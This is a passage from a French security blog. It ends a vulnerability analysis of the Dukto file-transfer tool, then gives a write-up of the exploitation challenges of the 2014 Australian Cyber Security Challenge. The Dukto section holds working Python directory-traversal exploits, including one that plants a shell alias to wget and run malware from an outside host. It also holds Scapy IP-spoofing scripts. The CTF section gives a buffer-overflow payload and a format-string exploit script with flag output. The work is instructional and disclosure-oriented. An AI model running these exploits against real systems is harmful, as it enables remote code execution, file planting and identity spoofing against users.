Enfin après cela on trouve un dernier qword qui est encore la taille du fichier qui va suivre.

Par exemple si j'envoie un script nommé xor.py de 532 octets les premières données envoyées sur la socket seront les suivantes :
0100000000000000 : nombre de fichiers (1)
1402000000000000 : taille du fichier en octets (0x214 = 532)
786f722e707900   : le nom du fichier (xor.py) terminé par un octet nul
1402000000000000 : la taille du fichier (encore)
Une fois l'entête envoyé le contenu du fichier est envoyé sur la socket (second PUSH).

L'envoi d'un message fonctionne sur le même principe en spécifiant "___DUKTO___TEXT___" comme nom de fichier.
Le contenu du message est là aussi envoyé après le header.
0100000000000000 : 1 élément
0c00000000000000 : taille du message (12)
5f5f5f44554b544f5f5f5f544558545f5f5f00 : ___DUKTO...
0c00000000000000 : taille du message
Si deux fichiers sont envoyés en même temps (sélectionnés ensemble pour l'envoi), on s’aperçoit que la première taille indiquée correspond à la taille de l'ensemble des fichiers envoyés (la somme) alors que la seconde taille correspond au fichier qui suit immédiatement.

Ainsi si j'envoie un fichier de 5 et un de 7 octets :
0200000000000000 : le nombre de fichiers (2)
0c00000000000000 : la taille globale (12)
706c6f702e74787400 : nom du premier fichier (plop.txt)
0500000000000000 : taille du premier fichier
Après avoir reçu les 5 octets du premier fichier, on reçoit d'autres données :
68656c6c6f2e74787400 : nom du second fichier (hello.txt)
0700000000000000 : taille du fichier (7 octets)
636f75636f750a : contenu du fichier (ici "coucou\n")
Lors de l'envoi d'un dossier complet, le seul changement concerne la taille du fichier initial qui est fixé à -1 :
0400000000000000 : 4 éléments, le dossier et 3 fichiers
1200000000000000 : 0x12 = 18 octets au total
646f737369657200 : nom du dossier (ici "dossier")
ffffffffffffffff : -1 (le qword est signé)
suit ensuite les fichiers avec à chaque fois le nom, la taille puis le contenu :
646f73736965722f68656c6c6f2e74787400 : dossier/hello.txt
0700000000000000 : taille du fichier (7)
636f75636f750a : "coucou\n"

646f73736965722f706c6f702e74787400 : dossier/plop.txt
0500000000000000 : 5 octets
616263640a : "abcd\n"
646f73736965722f726561646d652e74787400 : dossier/readme.txt
0600000000000000 : 6 octets
73616c75740a : "salut\n"
Le parsing est réalisé dans la méthode readNewData(). La technique utilisé pour le parsing est classique avec un indicateur d'état (mRecvStatus) permettant de savoir à quoi s'attendre à tel ou tel moment de la lecture des données.

Les vulnérabilités

S'il n'y a pas d'erreurs de dépassement de tampon ni de chaines de format, que nous reste t-il à chercher ?
La réponse est une fois de plus dans la méthode readNewData(), en particulier la façon dont les fichier sont écrits sur le disque.

Dans le cas FILENAME du switch, le nom du fichier reçu est stocké dans le QByteArray mPartialName.
Quand, juste après, le parseur est en cas FILESIZE, le QByteArray est converti en QString en utilisant l'encodage UTF-8. La variable s'appelle alors name.

Dans tous les cas des vérifications sont faites pour s'assurer que le fichier n'existe pas encore. Il sera renommé si besoin :
while (QFile::exists(name))
    name = originalName + " (" + QString::number(i++) + ")";
Une autre vérification est faite en ligne 355 :
if ((name.indexOf('/') != -1) && (name.section("/", 0, 0) == mRootFolderName))
    name = name.replace(0, name.indexOf('/'), mRootFolderRenamed)
On s’aperçoit qu'il n'y a pas réellement de vérifications sur le path. Ces deux lignes regardent juste si la partie avant le premier slash (grâce à la méthode section() de QString) correspond à la variable mRootFolderName (par défaut une chaîne vide mais peut avoir une autre valeur en mode dossier).

Conclusions à ce niveau de l'analyse : on peut très bien indiquer un path absolu ou un path relatif à Dukto et sortir sans difficultés du dossier de stockage défini dans les paramètres de l'application.

Pour transformer cette faille de type directory traversal en remote execution on pourra utiliser les techniques suivantes sur un système dérivé d'Unix :
  • écrire un PHP dans le dossier public_html de l'utilisateur (pour peut que Apache soit présent avec mod_userdir)
  • écrire un fichier .bash_aliases avec un alias piégé
Les possibilités d'exploitation sous Unix semblent assez limitées car on ne peut pas se contenter d'uploader un binaire : il faut encore qu'il dispose du bit executable et Dukto écrit les fichiers avec l'umask par défaut.

Sous Windows qui n'a pas cette spécificité on peut imaginer plusieurs scénarios :
  • écrire un autorun.inf et une backdoor sur clé usb ou disque réseau
  • placer un exécutable dans l'entrée Démarrage du menu Démarrer pour l'utilisateur
  • placer une dll et exploiter une faille de type binary planting
et toutes plateforms confondues :
  • écrire un applet Java ou script JS sur le disque puis envoyer un HTML qui va les charger dans le contexte local du navigateur (requiert un peu de social-engineering)
  • écrire un fichier de configuration d'un logiciel dans lequel il est possible de spécifier des commandes (sait-on jamais)
  • autre idée nécessitant un peu de brainstorming :)
Il faut noter aussi que lors de l'upload d'un fichier seul, si on clique sur l'icone représentant le fichier reçu depuis Dukto alors le fichier est ouvert comme un objet URL Qt c'est à dire depuis le navigateur par défaut donc le format HTML offre ici un petit plus (on pourrait aussi utiliser un exploit connu pour Flash ou Java) :)

Exploit :
import socket
import time
import struct

udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto('\x01Trololol at h4x0r (PwnOS)', ('192.168.1.22', 4644))
time.sleep(0.1)
udp_sock.close()

sock = socket.socket()
sock.connect(('192.168.1.22', 4644))

content = "alias ls='wget http://hack.er/malware; chmod +x malware; ./malware'"
# au choix : chemin absolu ou relatif
file_name = "/home/bob/.bash_aliases"
file_name = "../.bash_aliases"
msg = struct.pack("QQ", 1, len(content))
msg += file_name + "\x00"
msg += struct.pack("Q", len(content))
sock.send(msg)

sock.send(content)
sock.close()
Si on doit créer un dossier sur le système on procédera de façon similaire :
import socket
import time
import struct

udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto('\x01Trol at lol (101)', ('192.168.1.22', 4644))
time.sleep(0.1)
udp_sock.close()

sock = socket.socket()
sock.connect(('192.168.1.22', 4644))

content = "Coucou les gens!"
folder_name = "../../../../../../../tmp/yop"
file_name = "../../../../../../../tmp/yop/test.txt"

# 2 items : 1 folder entry + 1 file entry
msg = struct.pack("QQ", 2, len(content))
msg += folder_name + "\x00"
msg += struct.pack("q", -1)  # this is a folder

sock.send(msg)

msg = file_name + "\x00"
msg += struct.pack("Q", len(content))
msg += content

sock.send(msg)
sock.close()
Les autres vulnérabilités trouvées sont liées à l'emploi du protocole UDP pour les Hello et Goodbye.

Par exemple en lisant le fichier source buddylistitemmodel.cpp on s’aperçoit que l'ors de la découverte d'un nouvel hôte, Dukto parse les informations du message Hello (l'adresse IP et le port) et lance une requête HTTP sur le numéro de port incrémenté de 1 pour demander la ressource /dukto/avatar.

Il est très facile de spoofer l'adresse IP source sous UDP et on peut par exemple faire en sorte qu'un client Dukto aille demander le fichier /dukto/avatar au serveur de Google :
Démonstration avec Scapy :
from scapy.all import *
pkt=Ether()/IP(src="216.58.211.67", dst="192.168.1.22")/UDP(sport=4644, dport=4644)/"\x05\x4f\x00H3llo at Bidule (machin)"
sendp(pkt)
Dukto sending an HTTP request to Google

Avec une armée de Dukto on pourrait donc lancer une attaque DDoS par réflection (spoofing) et amplification (un petit datagramme UDP génère une connexion TCP plus conséquente).
Dukto n'est pas bête et ne fait la requête HTTP qu'au moment du premier Hello... sauf que si juste après on spoofe un message Bye Bye avec la même adresse IP alors Dukto retirera l'IP de sa liste et renverra à nouveau une requête HTTP au prochain Hello.

Dans la pratique imaginer disposer d'une armée de clients Dukto est dérisoire, qui plus est le dénis de service ne peut pas être considéré comme distribué si tous les clients Dukto font partie du même réseau local :p

Quoiqu'il en soit, Dukto utilisant un protocole de transfert de fichier, on peut se demander pourquoi les avatars ne sont pas bêtement transmis via TCP (par exemple avec un nom de fichier spécial comme c'est le cas pour les messages texte).

L'utilisation d'UDP permet l'usurpation d'adresse IP et pour Dukto l'usurpation d'identité.
On peut imaginer un scénario où l'attaquant écoute les messages Hello pour dresser la liste des utilisateurs présents sur le réseau (Alice et Bob) puis choisi une victime (Bob) pour lui envoyer un message Bye Bye semblant venir d'Alice.

L'attaquant n'a plus qu'à envoyer un message Hello sous le pseudo Alice avec sa véritable adresse IP et profiter de la confiance que Bob a en Alice pour lui envoyer un cheval de troie.
Ici en dehors d'intégrer la cryptographie à clé publique dans Dukto j'ai du mal à voir d'autres solutions où l'on conserve UDP...

Voici un petit script utilisant Scapy qui va vider la liste des hôtes dans le client Dukto de la victime, ne laissant que notre adresse IP.
Comme pour une attaque d'empoisonnement de cache ARP il faudrait flooder les différents protagonistes pour être réellement efficace.
from ipaddress import ip_network
from scapy.all import *
conf.verbose = 0

our_ip = "192.168.1.3"
target = "192.168.1.22"

for ip in ip_network(u'192.168.1.0/24').hosts():
    if str(ip) == our_ip:
        continue

    pkt=Ether()/IP(src=str(ip), dst=target)/UDP(sport=4644, dport=4644)/"\x03Bye Bye"
    sendp(pkt)

Conclusion

Dukto est un outil très utile mais souffre d'une vulnérabilité de traversée d'arborescence qui devrait être colmatée.
Les autres vulnérabilités sont moins intéressantes et sont liées à un choix du développeur d'utiliser un protocole simple et pourtant efficace.

Classé dans : Non classé - Mots clés : aucun

Solution du Cyber-Security Challenge Australia 2014 (Exploitation)

Rédigé par devloop - -

Alors que le Cyber Security Challenge Australia va rouvrir ses portes fin septembre 2015 pour les universités du pays, voici le writeup de la partie exploitation du CySCA 2014 qui clôture ainsi ma série d'articles sur ce challenge.
Le temps que les organisateurs convertissent le CySCA 2015 en machine virtuelle je devrais avoir un peu de temps pour souffler ;-)

The Fonz (120 points)

Perform a review of the supplied source code for Quick Code Ltd. to identify any vulnerabilities. A server has been set up for you to exploit the identified vulnerabilities for the customer at 192.168.1.64:20000
On dispose d'une partie du code source : la fonction en charge de la connexion cliente.

void handle_client( int client_socket )
{
    unsigned int FixedVariable = 0xFFFFFFFF;
    unsigned char DestBuffer[16] = {0};
    char secretKey[256];
    unsigned char socketBuffer[SOCKET_BUFFER_SIZE] = {0};
    size_t secretLength = 0;
    int retVal = 0;

    socket_printf( client_socket, "FixedVariable @ %#x. DestBuffer @ %#x\n", &FixedVariable, DestBuffer );

    socket_printf( client_socket, "Please enter text to write to buffer: " );
    retVal = read( client_socket, socketBuffer, SOCKET_BUFFER_SIZE );

    if( retVal <= 0 )
    {
        socket_printf( client_socket, "Error reading input %d.\n", retVal );
        return;
    }

    g_client_socket = client_socket;
    signal( SIGALRM, sigHandler );
    alarm(10);

    strncpy( DestBuffer, socketBuffer, MAX_WRITE_SIZE );
    
    socket_printf( client_socket, "Entered text: %s\n", DestBuffer );
    socket_printf( client_socket, "FixedVariable value: 0x%08X\n", FixedVariable );
    if( FixedVariable == 0x73696854 )
    {
        secretLength = load_flag( secretKey, sizeof(secretKey) );
        socket_printf( client_socket, "Congratulations! Secret key is: %s\n", secretKey );
    }
    else
    {
        socket_printf( client_socket, "Please set FixedVariable to 0x73696854\n" );
    }
    close( client_socket );
}
L'objectif pour obtenir le flag désiré est de parvenir à changer la valeur de FixedVariable.
A chaque connexion les adresses de FixedVariable et DestBuffer nous sont données :
$ ncat 192.168.1.64 20000 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20000.
FixedVariable @ 0xbfb370a4. DestBuffer @ 0xbfb37094
Please enter text to write to buffer: abcd
Entered text: abcd

FixedVariable value: 0x00000000
Please set FixedVariable to 0x73696854
Ncat: 5 bytes sent, 181 bytes received in 3.08 seconds.
Le principe d'exploitation est simple : DestBuffer a une taille de 16 octets mais lors de son écrasement par strncpy la taille maximale est définie à MAX_WRITE_SIZE que l'on ne connait pas mais dont on se doute qu'il est suffisamment large pour écraser les autres variables présentes sur la stack frame.

L'output précédent nous indique qu'il y a 16 octets entre DestBuffer et FixedVariable, les deux variables sont donc côte à côte.
Quand à la valeur attendue (73696854) il s'agit juste du mot "This" en hexadécimal et inversé.

L'exploitation est triviale :
$ echo -en "AAAABBBBCCCCDDDDThis" |  ncat 192.168.1.64 20000 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20000.
FixedVariable @ 0xbfb370a4. DestBuffer @ 0xbfb37094
Please enter text to write to buffer: Entered text: AAAABBBBCCCCDDDDThis
FixedVariable value: 0x73696854
Congratulations! Secret key is: CombatBrownieSwell366
Ncat: 20 bytes sent, 211 bytes received in 0.01 seconds.

Matt Matt Matt Matt (200 points)

Perform a review of the supplied source code for Quick Code Ltd. to identify any vulnerabilities. A server has been set up for you to exploit the identified vulnerabilities for the customer 192.168.1.64:20001
La partie du code divulguée est la suivante :

#define RESP_PREFIX "Nice to meet you "
#define RANDOM_RANGE 0xFFFFF
void handle_client(int client_socket)
{
    char* memBuf;
    int* pWinning;
    unsigned char socketBuffer[SOCKET_BUFFER_SIZE] = {0};
    char secretKey[256];
    size_t secretLength = 0;
    unsigned char destBuffer[MAX_LEN] = {0};
    int retVal = 0;

    g_client_socket = client_socket;

    memBuf = malloc(RANDOM_RANGE);
    if (memBuf == NULL)
    {
        socket_printf( client_socket, "ERROR: Unable to allocate memory.\n");
        return;
    }

    pWinning = memBuf + (GetRandomNumber() % (RANDOM_RANGE-4));
    *pWinning = 0x12345678;
    memBuf = NULL;

    while (1)
    {
        socket_printf( client_socket, "Hello, what is your name?\n" );
        retVal = read( client_socket, socketBuffer, SOCKET_BUFFER_SIZE );
        if( retVal <= 0 )
        {
            socket_printf( client_socket, "Error reading input %d.\n", retVal );
            return;
        }

        signal( SIGALRM, sigHandler );
        alarm(30);

        strcpy( destBuffer, RESP_PREFIX);
        snprintf( destBuffer+sizeof(RESP_PREFIX)-1, MAX_LEN-sizeof(RESP_PREFIX), socketBuffer );
        socket_printf( client_socket, "%s\n", destBuffer );

        if( *pWinning == 0x31337BEF )
        {
            secretLength = load_flag( secretKey, sizeof(secretKey) );
            socket_printf( client_socket, "Today is your lucky day! Your key is: %s\n", secretKey );
            return;
        }
        else
        {
            socket_printf( client_socket, "Sorry, today is not your lucky day.\n");
        }

    }
    close( client_socket );
}
La variable pWinning est un pointeur sur entier dont la valeur est initialisée à 0x12345678.
L'adresse où est écrit cette valeur est plus ou moins aléatoire (sur une plage mémoire de 0xFFFFF octets commençant à l'adresse de memBuf).

On note que le code est vulnérable à une faille de chaine de format via la fonction snprintf :
$ ncat 192.168.1.64 20001 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20001.
Hello, what is your name?
abcd
Nice to meet you abcd

Sorry, today is not your lucky day.
Hello, what is your name?
%8X.%8X
Nice to meet you        0.       0
Je n'entrerai pas dans les détails de ce type d'exploitation que j'ai déjà traité dans mon article sur le sujet.

On retrouve facilement la position de retVal sur la stack :
Hello, what is your name?
%8X%8X%8X%8X%8X%8X
Nice to meet you        0       0       0       0       0      13
Ici retVal vaut 0x13 (donc 19) soit la longueur de la chaîne passée (%8X%8X%8X%8X%8X%8X) avec le retour à la ligne.

En utilisant l'indicateur de position d'argument on retrouve plus loin sur la pile (en 8ème position) notre variable pWinning.
J'utilise le format %s pour obtenir la valeur pointée, seule façon pour déterminer si on a affaire à la bonne variable.
$ ncat 192.168.1.64 20001 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20001.
Hello, what is your name?
%8$s
Nice to meet you xV4
xV4 correspond aux code hexa 785634 donc une partie de l'entier que l'on cherchait. Le reste (12) n'est pas affiché par le terminal mais avec hexdump on peut vérifier qu'il est bien présent :
$ echo '%8$s' | ncat 192.168.1.64 20001 -v | hexdump -C
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.1.64:20001.
00000000  48 65 6c 6c 6f 2c 20 77  68 61 74 20 69 73 20 79  |Hello, what is y|
00000010  6f 75 72 20 6e 61 6d 65  3f 0a 4e 69 63 65 20 74  |our name?.Nice t|
00000020  6f 20 6d 65 65 74 20 79  6f 75 20 78 56 34 12 0a  |o meet you xV4..|
00000030  0a 53 6f 72 72 79 2c 20  74 6f 64 61 79 20 69 73  |.Sorry, today is|
00000040  20 6e 6f 74 20 79 6f 75  72 20 6c 75 63 6b 79 20  | not your lucky |
00000050  64 61 79 2e 0a 48 65 6c  6c 6f 2c 20 77 68 61 74  |day..Hello, what|
Ok donc quelle est l'adresse de pWinning ?
Hello, what is your name?
%8$.8X
Nice to meet you B74F00DF
Cette adresse change à chaque connexion comme vu dans le code mais reste fixe si on reste connecté.
Notre objectif est donc de récupérer l'adresse (comme fait à l'instant) puis d'utiliser une format string qui écrira les octets EF 7B 33 31.

Etant donné que snprintf reçoit un argument qui limite la taille de la chaîne générée j'ai choisit d'utiliser le format %hhn pour éviter les mauvaises surprises.
A noter que, même si j'ai fait l'exploitation en une seule passe, la boucle while permet si on le souhaite d'écraser chaque octet l'un après l'autre.

Le principe du format %hhn (et de %n en général) est que l'on place sur la pile l'adresse où l'on veut écrire et que la quantité de données écrites sera placée à cette adresse. Il faut d'abord déterminer où sera présente l'adresse que l'on place sur la pile. Pour cela je place AAAA et j'essaye d'obtenir 41414141 avec le format %.8X :
Hello, what is your name?
AAAA%13$.8X
Nice to meet you AAAA41414120

Sorry, today is not your lucky day.
Hello, what is your name?
AAAAB%13$.8X
Nice to meet you AAAAB41414120

Sorry, today is not your lucky day.
Hello, what is your name?
AAAABB%13$.8X
Nice to meet you AAAABB41414120
On est gênés par ce qui doit être l'espace en fin de "Nice to meet you ".
Du coup on cherche en position 14 et on continue de jouer sur le padding. Je passe à BBBB :
Sorry, today is not your lucky day.
Hello, what is your name?
AAAABBBB%14$.8X
Nice to meet you AAAABBBB42424241

Sorry, today is not your lucky day.
Hello, what is your name?
AAABBBB%14$.8X
Nice to meet you AAABBBB42424242
Bingo ! 14ème position et 3 octets de padding. Ici le padding est fixe car la chaîne que l'on insère ne se retrouve pas dans argv.

Comme on écrit en une seule fois, le comptage des caractères n'est pas remis à zéro à chaque %hhn. On va donc écrire dans l'ordre les valeurs 0x31 (49), 0x33 (51), 0x7B (123) et 0xEF (239).

La chaine d'exploitation aura cette aspect :
PPPAAAABBBBCCCCDDDD%30X%14$hhnZZ%15$hhn%72X%16$hhn%116X%17$hhn

Soit 3 octets de padding, 4 fois 4 octets pour les 4 adresses à écrire (les 4 octets pris par l'entier de pWinning).
A ce stade on a 19 octets, il en manque 30 pour la première valeur (49) d'où le %30X.

Pour aller de 49 à 51 il faut 2 caractères. On les place directement (ZZ).
Ensuite il faut 72 caractères pour atteindre la valeur 123 (%72X).
Et enfin 116 caractères pour atteindre 239.

Attention avec le formatage. Il ne faut pas oublier que s'il est possible de définir une précision et mettre du padding pour l'affichage il est en revanche impossible de mettre une longueur maximale d'affichage.

Par exemple le code C suivant :
printf("precision 8: %.8X\n", 0x0cde);
printf("precision 3: %.3X\n", 0x0cde);
printf("precision 1: %.1X\n", 0x0cde);
printf("precision 5: %.5X\n", 0xd3c0de);
printf("precision 3: %.3X\n", 0xd3c0de);
donne cet output :
precision 8: 00000CDE
precision 3: CDE
precision 1: CDE
precision 5: D3C0DE
precision 3: D3C0DE

printf refuse de tronquer la valeur affichée. Donc attention si vous avez de petites valeurs (inférieures à 8), il est préférable de mettre les caractères tel quel.

Certains utilisent %c au lieu de %X pour afficher des caractères mais là attention aux octets nuls :
sprintf(buffer, "%9c", 0x41);
len = strlen(buffer);
printf("len = %u\n", len);

sprintf(buffer, "%9c", 0x0);
len = strlen(buffer);
printf("len = %u\n", len);
Ce qui donne :
len = 9
len = 8
A éviter, à mois d'être sûr de ce qu'il y a sur la pile.

Voici mon code d'exploitation :
import socket
import struct

magic = "PPPAAAABBBBCCCCDDDD%.30X%14$.8XZZ%15$.8X%.72X%16$.8X%.116X%17$.8X"

sock = socket.socket()
sock.connect(('192.168.1.64', 20001))
sock.recv(1024)  # Hello...

# Get address for pWinning
sock.send("%8$.08X")
buff = sock.recv(1024)
if not buff.startswith("Nice to meet you "):
    print "Received strange response"
    sock.close()
    exit()
address = buff[17:].strip()
# convert hex address to uint_32
address = struct.unpack(">I", address.decode("hex_codec"))[0]
print "pWinning is at", hex(address)

buff = sock.recv(1024)  # Sorry + Hello...

# Sending our unarmed payload
sock.send(magic)
buff = sock.recv(1024)  # Nice to meet you...
if "41414141" not in buff:
    print "Bad alignment! :("
    sock.close()
    exit()
buff = sock.recv(1024)  # Sorry...

# So far so good, now let's overwrite pWinning content
magic = magic.replace("AAAA", struct.pack("I", address+3))
magic = magic.replace("BBBB", struct.pack("I", address+2))
magic = magic.replace("CCCC", struct.pack("I", address+1))
magic = magic.replace("DDDD", struct.pack("I", address))
magic = magic.replace(".8X", "hhn")

print "Sending", repr(magic)
sock.send(magic)
sock.recv(1024)  # Nice to meet...

buff = sock.recv(1024)
print buff

sock.close()

Comme d'habitude je pars sur la chaîne préparée avec des %.8X pour déboguer que je remplace ensuite par %hhn pour l'exploitation.
$ python fmt.py 
pWinning is at 0xb753d8ad
Sending 'PPP\xb0\xd8S\xb7\xaf\xd8S\xb7\xae\xd8S\xb7\xad\xd8S\xb7%.30X%14$hhnZZ%15$hhn%.72X%16$hhn%.116X%17$hhn'
Today is your lucky day! Your key is: FairlyIdealLiver576

A Bit One Sided (280 points)

Perform a review of the supplied source code for Quick Code Ltd. to identify any vulnerabilities. A server has been set up for you to exploit the identified vulnerabilities for the customer at 192.168.1.64:21320
Cette fois on dispose d'un boût de C++ :
int g_client_socket;

void win(void)
{
    char secret_key[256] = {0x0};

    load_flag(secret_key,sizeof(secret_key));
    socket_printf( g_client_socket, "Success. Your flag is %s\n",secret_key);
}

void handle_client(int client_socket)
{
    char reqData[128] = {0x0};
    CReqObj* reqObj = 0;
    short reqLen = 0;
    bool retValue;
    int recvLen;

    g_client_socket = client_socket;

    signal(SIGALRM, sig_alrm_handler );
    alarm(10);

    recvLen = recv(client_socket,&reqLen,sizeof(reqLen),0);

    if (recvLen == -1 )
        goto cleanup_exit;

    socket_printf(client_socket, "Got request size: %d\n", &recvLen);

    if (reqLen < 0 || reqLen > sizeof(reqData))
    {
        socket_printf(client_socket,"Supplied request length is invalid.\n");
        goto cleanup_exit;
    }

    reqObj = new CReqObj();

    recvLen = recv(client_socket,reqData,reqLen-1,0);
    if (recvLen == -1)
        goto cleanup_exit;

    reqObj->SetRequestData(reqData);
    
    retValue = reqObj->ProcessRequest(); 

    socket_printf(client_socket,"Better luck next time.\n");

cleanup_exit:
    if (reqObj)
        delete reqObj;

    close(client_socket);

    exit(0);
}
L'objectif est donc d'appeler la fonction win() mais celle-ci n'est utilisée nul part dans la code !

On remarque que lors du premier socket_printf dans handle_client l'adresse de la variable recvLen est leakée puisque sa référence est passée au lieu de la variable.
Voici une erreur qui a vraisemblablement été mise là pour nous aider, pas vraiment une erreur donc :)

Le serveur commence par lire deux octets (un short) qui correspondent à la taille de ce qu'il va lire par la suite.
Cette taille stockée dans reqLen est vérifiée pour s'assurer qu'elle n'est pas négative. Pas de bug à ce niveau.
On pourrait penser qu'il y a un off-by-one car une comparaison est faite sur sizeof(reqData) pour savoir si reqLen est strictement supérieure.
Mais si on regarde plus bas (sur l'appel à recv()) on voit que reqLen-1 octets sont lus donc là encore pas de faille.

Justement Jean-Marc ! J'ai agi à la légère et vous n'avez pas mérité ma confiance.
Euh... non. Justement ! Que se passe t-il si on spécifie une taille de 0 octets alors qu'aucune vérification n'est faite à ce niveau ?

Et bien reqLen sera agrandit en taille pour convenir au type attendu par recv, c'est à dire un size_t, et comme en plus c'est un unsigned la soustraction de 1 le transformera en une valeur énorme, j'ai nommé UINT_MAX.

Du coup lors de la réception des données via recv() on peut écrire tout ce que l'on souhaite pour écraser les variables et l'adresse de retour... sauf que à la fin de handle_client on a un beau exit() donc dans le *** l'adresse de retour !

A l'instar des deux précédents exercices on dispose, en plus de l'extrait de code, du binaire à exploiter (même si jusqu'ici je m'en suis passé).

On l'ouvre avec gdb et on active l'option asm-demangle pour obtenir les noms des méthodes C++ sous un format lisible (set print asm-demangle on).

Voici une partie du code assembleur de handle_client qui commence à la création de l'objet CReqObj :
0x0804920e <+205>:   movl   $0x8,(%esp)
0x08049215 <+212>:   call   0x80489e0 <operator new(unsigned int)@plt>
0x0804921a <+217>:   mov    %eax,%ebx
0x0804921c <+219>:   mov    %ebx,(%esp)
0x0804921f <+222>:   call   0x8049334 <CReqObj::CReqObj()>
0x08049224 <+227>:   mov    %ebx,-0x1c(%ebp)
0x08049227 <+230>:   movzwl -0x20(%ebp),%eax
0x0804922b <+234>:   cwtl   
0x0804922c <+235>:   sub    $0x1,%eax
0x0804922f <+238>:   movl   $0x0,0xc(%esp)
0x08049237 <+246>:   mov    %eax,0x8(%esp)
0x0804923b <+250>:   lea    -0xa4(%ebp),%eax
0x08049241 <+256>:   mov    %eax,0x4(%esp)
0x08049245 <+260>:   mov    0x8(%ebp),%eax
0x08049248 <+263>:   mov    %eax,(%esp)
0x0804924b <+266>:   call   0x80488c0 <recv@plt>
0x08049250 <+271>:   mov    %eax,-0x24(%ebp)
0x08049253 <+274>:   mov    -0x24(%ebp),%eax
0x08049256 <+277>:   cmp    $0xffffffff,%eax
0x08049259 <+280>:   je     0x80492a1 <handle_client(int)+352>
0x0804925b <+282>:   mov    -0x1c(%ebp),%eax  ; reqObj
0x0804925e <+285>:   mov    (%eax),%eax       ; vtable
0x08049260 <+287>:   add    $0x4,%eax         ; vtable[1]
0x08049263 <+290>:   mov    (%eax),%edx       ; edx = setRequestData
0x08049265 <+292>:   lea    -0xa4(%ebp),%eax
0x0804926b <+298>:   mov    %eax,0x4(%esp)
0x0804926f <+302>:   mov    -0x1c(%ebp),%eax
0x08049272 <+305>:   mov    %eax,(%esp)
0x08049275 <+308>:   call   *%edx
0x08049277 <+310>:   mov    -0x1c(%ebp),%eax
0x0804927a <+313>:   mov    (%eax),%eax
0x0804927c <+315>:   mov    (%eax),%edx
0x0804927e <+317>:   mov    -0x1c(%ebp),%eax
0x08049281 <+320>:   mov    %eax,(%esp)
0x08049284 <+323>:   call   *%edx
La première ligne passe une taille de 8 à l'opérateur new. Ce sera la taille en octets d'un objet CReqObj.
Le pointeur retourné (la zone mémoire) est ensuite passée au constructeur de CReqObj. L'adresse de l'objet initialisé est ensuite conservée en ebp-0x1c (ebp-28).

Au passage juste en dessous on voit une variable sortie de ebp-0x20 (ebp-32). Il s'agit de recvLen qui est converti avec l'instruction cwtl avant qu'on lui retire 1 comme expliqué plus tôt.

Faisons un tour par le constructeur de la classe CReqObj :
0x08049334 <+0>:     push   %ebp
0x08049335 <+1>:     mov    %esp,%ebp
0x08049337 <+3>:     mov    0x8(%ebp),%eax
0x0804933a <+6>:     movl   $0x8049828,(%eax)
0x08049340 <+12>:    mov    0x8(%ebp),%eax
0x08049343 <+15>:    movl   $0x0,0x4(%eax)
0x0804934a <+22>:    pop    %ebp
0x0804934b <+23>:    ret
Ce code récupère l'adresse de l'objet sur la pile puis place la valeur 0x8049828 dans les 4 premiers octets de l'objet. Il s'agit de l'adresse de la vtable qui peut être vue comme un tableau des méthodes de la classe.
Le principe des vtables est expliqué sur Wikipedia :
When an object is created, a pointer to this vtable, called the virtual table pointer, vpointer or VPTR, is added as a hidden member of this object. The compiler also generates "hidden" code in the constructor of each class to initialize the vpointers of its objects to the address of the corresponding vtable.

La seconde partie de l'objet (les 4 derniers octets) est initialisée à 0.

Retournons dans handle_client. Après l'appel à recv, au niveau des lignes que j'ai commenté, l'objet est récupéré depuis la pile.
L'adresse de la vtable en est extraite (les 4 premiers) et placée dans eax. Ce registre est ensuite incrémenté de 4.
Finalement, l'adresse présente à vtable[1] est placée dans edx et edx est appelé. On en déduit d'après le code C++ que vtable[1] correspond à la fonction setRequestData.

On trouve le même principe plus bas mais avec vtable[0] qui correspond donc à ProcessRequest dont voici le code assembleur :
0x8049376 <CReqObj::ProcessRequest()>:       push   %ebp
0x8049377 <CReqObj::ProcessRequest()+1>:     mov    %esp,%ebp
0x8049379 <CReqObj::ProcessRequest()+3>:     sub    $0x18,%esp
0x804937c <CReqObj::ProcessRequest()+6>:     mov    0x8(%ebp),%eax
0x804937f <CReqObj::ProcessRequest()+9>:     mov    0x4(%eax),%eax
0x8049382 <CReqObj::ProcessRequest()+12>:    movl   $0x80497fe,0x4(%esp)
0x804938a <CReqObj::ProcessRequest()+20>:    mov    %eax,(%esp)
0x804938d <CReqObj::ProcessRequest()+23>:    call   0x8048a80 <strcmp@plt>
0x8049392 <CReqObj::ProcessRequest()+28>:    test   %eax,%eax
0x8049394 <CReqObj::ProcessRequest()+30>:    jne    0x804939d <CReqObj::ProcessRequest()+39>
0x8049396 <CReqObj::ProcessRequest()+32>:    mov    $0x1,%eax
0x804939b <CReqObj::ProcessRequest()+37>:    jmp    0x80493a2 <CReqObj::ProcessRequest()+44>
0x804939d <CReqObj::ProcessRequest()+39>:    mov    $0x0,%eax
0x80493a2 <CReqObj::ProcessRequest()+44>:    leave  
0x80493a3 <CReqObj::ProcessRequest()+45>:    ret
Cette méthode récupère la valeur que l'on avait vu initialisée à zéro dans le constructeur (valeur unique portée par l'objet puisque l'autre partie est l'adresse de la vtable) et la passe à strcmp avec l'adresse 0x80497fe dont voici le contenu :
(gdb) x/s 0x80497fe
0x80497fe:      "TODO: Complete implementation"
L'objet permet donc de porter un char* qu'on peut vraisemblablement définir via SetRequestData.
En fonction du résultat de strcmp, la méthode retourne 0 ou 1... pas de faille de ce côté.

Jetons un œil à SetRequestData :
0x80493a4 <CReqObj::SetRequestData(char*)>:          push   %ebp
0x80493a5 <CReqObj::SetRequestData(char*)+1>:        mov    %esp,%ebp
0x80493a7 <CReqObj::SetRequestData(char*)+3>:        sub    $0x18,%esp      ; réserve 24 octets
0x80493aa <CReqObj::SetRequestData(char*)+6>:        mov    0x8(%ebp),%eax
0x80493ad <CReqObj::SetRequestData(char*)+9>:        mov    0x4(%eax),%eax  ; regarde si une chaine est portée
0x80493b0 <CReqObj::SetRequestData(char*)+12>:       test   %eax,%eax
0x80493b2 <CReqObj::SetRequestData(char*)+14>:       je     0x80493cc <CReqObj::SetRequestData(char*)+40>
